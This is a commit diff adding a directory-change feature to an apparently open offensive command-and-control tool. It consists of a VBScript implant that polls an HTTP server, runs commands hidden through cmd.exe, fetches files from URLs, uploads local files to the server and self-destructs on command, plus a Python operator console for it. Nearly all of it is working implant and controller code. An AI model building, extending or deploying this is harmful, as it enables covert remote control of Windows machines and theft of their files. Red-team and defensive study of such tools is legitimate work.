v1.0 - Added CD feature

Author: bitsadmin

client.vbs

@@ -26,11 +26,12 @@ If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP")
 Dim arrSplitUrl, strFilename, stream
 
 ' Configuration
-Dim strHost, strPort, strUrl, intSleep
+Dim strHost, strPort, strUrl, strCD, intSleep
 strHost = "127.0.0.1"
 strPort = "8080"
 intSleep = 5000
 strUrl = "http://" & strHost & ":" & strPort
+strCD =  "."
 
 ' Periodically poll for commands
 Dim strInfo
@@ -50,6 +51,12 @@ While True
         strArgument = arrResponseText(1)
     End If
 
+    ' Fix ups
+    If strCommand = "PWD" Or strCommand = "GETWD" Then
+        strCommand = "CD"
+        strArgument = ""
+    End If
+
     ' Execute command
     Select Case strCommand
         ' Sleep X seconds
@@ -161,7 +168,7 @@ While True
         Case "SHELL"
             'Execute and write to file
             Dim strOutFile: strOutFile = fs.GetSpecialFolder(2) & "\rso.txt"
-            shell.Run "cmd /C " & strArgument & "> """ & strOutFile & """ 2>&1", 0, True
+            shell.Run "cmd /C pushd """ & strCD & """ && " & strArgument & "> """ & strOutFile & """ 2>&1", 0, True
 
             ' Read out file
             Dim file: Set file = fs.OpenTextFile(strOutfile, 1)
@@ -181,11 +188,26 @@ While True
             strOutFile = Empty
             text = Empty
 
+        ' Change Directory
+        Case "CD"
+            ' Only change directory when argument is provided
+            If Len(strArgument) > 0 Then
+                Dim strNewCdPath
+                strNewCdPath = GetAbsolutePath(strArgument)
+
+                If fs.FolderExists(strNewCdPath) Then
+                    strCD = strNewCdPath
+                End If
+            End If
+
+            SendStatusUpdate strRawCommand, strCD
+
         ' Download a file from a URL
         Case "WGET"
             ' Determine filename
             arrSplitUrl = Split(strArgument, "/")
             strFilename = arrSplitUrl(UBound(arrSplitUrl))
+            strFilename = GetAbsolutePath(strFilename)
 
             ' Fetch file
             Err.Clear() ' Set error number to 0
@@ -213,18 +235,21 @@ While True
             strFilename = Empty
 
         ' Send a file to the server
-        Case "GET"
+        Case "DOWNLOAD"
+            Dim strFullSourceFilePath
+            strFullSourceFilePath = GetAbsolutePath(strArgument)
+
             ' Only download if file exists
-            If fs.FileExists(strArgument) Then
+            If fs.FileExists(strFullSourceFilePath) Then
                 ' Determine filename
-                arrSplitUrl = Split(strArgument, "\")
+                arrSplitUrl = Split(strFullSourceFilePath, "\")
                 strFilename = arrSplitUrl(UBound(arrSplitUrl))
 
                 ' Read the file to memory
                 Set stream = CreateObject("Adodb.Stream")
                 stream.Type = 1 ' adTypeBinary
                 stream.Open
-                stream.LoadFromFile strArgument
+                stream.LoadFromFile strFullSourceFilePath
                 Dim binFileContents
                 binFileContents = stream.Read
 
@@ -235,12 +260,13 @@ While True
                 binFileContents = Empty
             ' File does not exist
             Else
-                SendStatusUpdate strRawCommand, "File does not exist: " & strArgument
+                SendStatusUpdate strRawCommand, "File does not exist: " & strFullSourceFilePath
             End If
 
             ' Clean up
             arrSplitUrl = Array()
             strFilename = Empty
+            strFullSourceFilePath = Empty
 
         ' Self-destruction, exits script
         Case "KILL"
@@ -269,6 +295,25 @@ Function PadRight(strInput, intLength)
 End Function
 
 
+Function GetAbsolutePath(strPath)
+    Dim strOutputPath
+    strOutputPath = ""
+
+    ' Use backslashes
+    strPath = Replace(strPath, "/", "\")
+
+    ' Absolute paths : \Windows C:\Windows D:\
+    ' Relative paths: .. ..\ .\dir .\dir\ dir dir\ dir1\dir2 dir1\dir2\
+    If Left(strPath, 1) = "\" Or InStr(1, strPath, ":") <> 0 Then
+        strOutputPath = strPath
+    Else
+        strOutputPath = strCD & "\" & strPath
+    End If
+
+    GetAbsolutePath = fs.GetAbsolutePathName(strOutputPath)
+End Function
+
+
 Function SendStatusUpdate(strText, strData)
     Dim binData
     binData = StringToBinary(strData)

server.py

@@ -66,7 +66,6 @@ def do_POST(self):
         global context
 
         # File upload
-        # if ctype == 'multipart/form-data':
         form = cgi.FieldStorage(fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD': 'POST'})
         cmd_data = form['cmd'].file.read()
         result_filename = form['result'].filename
@@ -80,11 +79,11 @@ def do_POST(self):
         # Store file
         if self.path == '/upload':
             # Create folder if required
-            if not os.path.exists('download'):
-                os.mkdir('download')
+            if not os.path.exists('Downloads'):
+                os.mkdir('Downloads')
 
             # Write file to disk
-            with file(os.path.join('download', result_filename), 'wb') as f:
+            with file(os.path.join('Downloads', result_filename), 'wb') as f:
                 f.write(result_data)
 
             print 'File \'%s\' downloaded.' % result_filename
@@ -131,9 +130,11 @@ def main():
     while True:
         s = raw_input('%s> ' % context)
         s = s.strip()
+        splitcmd = s.split(' ', 1)
+        cmd = splitcmd[0].upper()
 
         # In a context
-        if context == 'SHELL':
+        if context == 'SHELL' and cmd != 'CD':
             cmd = context
 
             if s.upper() == 'EXIT':
@@ -147,8 +148,6 @@ def main():
                     continue
         # No context
         else:
-            splitcmd = s.split(' ', 1)
-            cmd = splitcmd[0].upper()
             args = ''
             if len(splitcmd) > 1:
                 args = splitcmd[1]
@@ -158,7 +157,7 @@ def main():
                 continue
 
             # UPLOAD
-            if cmd == 'UPLOAD':
+            elif cmd == 'UPLOAD':
                 args = args.strip("\"")
 
                 # Check file existence
@@ -191,7 +190,7 @@ def main():
                 continue
 
             # SHELL
-            elif cmd == 'SHELL':
+            elif cmd == 'SHELL' and not args:
                 context = 'SHELL'
                 continue
 
@@ -207,12 +206,15 @@ def main():
             # HELP
             elif cmd == 'HELP':
                 print 'Supported commands:\n' \
-                      '- GET [path]         - Download the file at [path] to the .\\downloads folder.\n' \
+                      '- CD [directory]     - Change directory. Shows current directory when without parameter.\n' \
+                      '- DOWNLOAD [path]    - Download the file at [path] to the .\\Downloads folder.\n' \
                       '- GETUID             - Get shell user id.\n' \
+                      '- GETWD              - Get working directory. Same as CD.\n' \
                       '- HELP               - Show this help.\n' \
                       '- IFCONFIG           - Show network configuration.\n' \
                       '- KILL               - Stop script on the remote host.\n' \
                       '- PS                 - Show process list.\n' \
+                      '- PWD                - Same as GETWD and CD.\n' \
                       '- SET [name] [value] - Set a variable, for example SET LHOST 192.168.1.77.\n' \
                       '                       When entered without parameters, it shows the currently set variables.\n' \
                       '- SHELL [command]    - Execute command in cmd.exe interpreter;\n' \